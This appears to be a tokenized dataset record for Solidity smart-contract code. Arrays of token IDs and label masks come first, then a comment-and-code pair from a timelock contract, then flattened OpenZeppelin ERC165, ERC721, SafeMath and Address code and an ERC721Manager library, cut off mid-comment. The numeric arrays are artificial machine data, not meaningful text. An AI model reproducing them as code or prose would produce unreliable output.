0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
14059,
27055,
353,
14223,
6914,
16,
4232,
39,
3462,
288,
203,
225,
2254,
5034,
1071,
5381,
4552,
67,
13272,
23893,
273,
6604,
67,
3784,
380,
1728,
636,
2643,
31,
203,
225,
2254,
5034,
1071,
5381,
399,
2501,
67,
3194,
19666,
2833,
273,
576,
31,
203,
203,
225,
1426,
1071,
353,
7731,
310,
5157,
273,
638,
31,
203,
225,
1758,
1071,
9787,
345,
22498,
1887,
31,
203,
225,
1758,
1071,
277,
2894,
1887,
31,
203,
203,
225,
3885,
12,
2867,
389,
27427,
345,
22498,
1887,
16,
1758,
389,
10764,
1887,
13,
203,
565,
4232,
39,
3462,
2932,
3819,
28932,
3113,
315,
3118,
39,
7923,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
225,
288,
203,
565,
2583,
12,
203,
1377,
389,
27427,
345,
22498,
1887,
480,
1758,
12,
20,
13,
597,
389,
10764,
1887,
480,
1758,
12,
20,
3631,
203,
1377,
315,
3819,
27055,
30,
1758,
1297,
486,
506,
374,
6,
203,
565,
11272,
203,
203,
565,
277,
2894,
1887,
273,
389,
10764,
1887,
31,
203,
565,
9787,
345,
22498,
1887,
273,
389,
27427,
345,
22498,
1887,
31,
203,
565,
389,
81,
474,
24899,
10764,
1887,
16,
4552,
67,
13272,
23893,
1769,
203,
225,
289,
203,
203,
225,
445,
10486,
2520,
7731,
310,
5157,
1435,
3903,
1338,
5541,
288,
203,
565,
353,
7731,
310,
5157,
273,
401,
291,
7731,
310,
5157,
31,
203,
225,
289,
203,
203,
225,
445,
1089,
56,
266,
345,
22498,
1887,
12,
2867,
389,
2704,
56,
266,
345,
22498,
1887,
13,
203,
565,
3903,
203,
2
] |
./full_match/43113/0x07A86A50AD82e0529b9449498100E60ACA7724Df/sources/timelockdoge.sol | @notice Array of all timelock transactions | timelockTransaction[] public transactions;
| 7,134,626 | [
1,
1076,
434,
777,
1658,
292,
975,
8938,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
1658,
292,
975,
3342,
8526,
1071,
8938,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/introspection/IERC165.sol
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: openzeppelin-solidity/contracts/introspection/ERC165.sol
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: contracts/library/token/ERC721Manager.sol
/**
* @title ERC721Manager
*
* @dev This library implements OpenZepellin's ERC721 implementation (as of 7/31/2018) as
* an external library, in order to keep contract sizes smaller.
*
* Released under the MIT License.
*
*
* The MIT License (MIT)
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
library ERC721Manager {
using SafeMath for uint256;
// We define the events on both the library and the client, so that the events emitted here are detected
// as if they had been emitted by the client
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
struct ERC721Data {
// List of supported interfaces
mapping (bytes4 => bool) supportedInterfaces;
// Mapping from token ID to owner
mapping (uint256 => address) tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) operatorApprovals;
// Token name
string name_;
// Token symbol
string symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) tokenURIs;
}
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
function initialize(ERC721Data storage self, string _name, string _symbol) external {
self.name_ = _name;
self.symbol_ = _symbol;
// register the supported interface to conform to ERC165
_registerInterface(self, InterfaceId_ERC165);
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(self, InterfaceId_ERC721);
_registerInterface(self, InterfaceId_ERC721Exists);
_registerInterface(self, InterfaceId_ERC721Enumerable);
_registerInterface(self, InterfaceId_ERC721Metadata);
}
function _registerInterface(ERC721Data storage self, bytes4 _interfaceId) private {
self.supportedInterfaces[_interfaceId] = true;
}
function supportsInterface(ERC721Data storage self, bytes4 _interfaceId) external view returns (bool) {
return self.supportedInterfaces[_interfaceId];
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(ERC721Data storage self, address _owner) public view returns (uint256) {
require(_owner != address(0));
return self.ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(ERC721Data storage self, uint256 _tokenId) public view returns (address) {
address owner = self.tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(ERC721Data storage self, uint256 _tokenId) public view returns (bool) {
address owner = self.tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(ERC721Data storage self, address _to, uint256 _tokenId) external {
address owner = ownerOf(self, _tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(self, owner, msg.sender));
self.tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(ERC721Data storage self, uint256 _tokenId) public view returns (address) {
return self.tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(ERC721Data storage self, address _to, bool _approved) external {
require(_to != msg.sender);
self.operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
ERC721Data storage self,
address _owner,
address _operator
) public view returns (bool) {
return self.operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId
) public {
require(isApprovedOrOwner(self, msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
_clearApproval(self, _from, _tokenId);
_removeTokenFrom(self, _from, _tokenId);
_addTokenTo(self, _to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId
) external {
// solium-disable-next-line arg-overflow
safeTransferFrom(self, _from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
transferFrom(self, _from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(ERC721Data storage self, address _owner, uint256 _tokenId) internal {
require(ownerOf(self, _tokenId) == _owner);
if (self.tokenApprovals[_tokenId] != address(0)) {
self.tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) internal returns (bool) {
if (!_isContract(_to)) {
return true;
}
bytes4 retval = IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function _isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
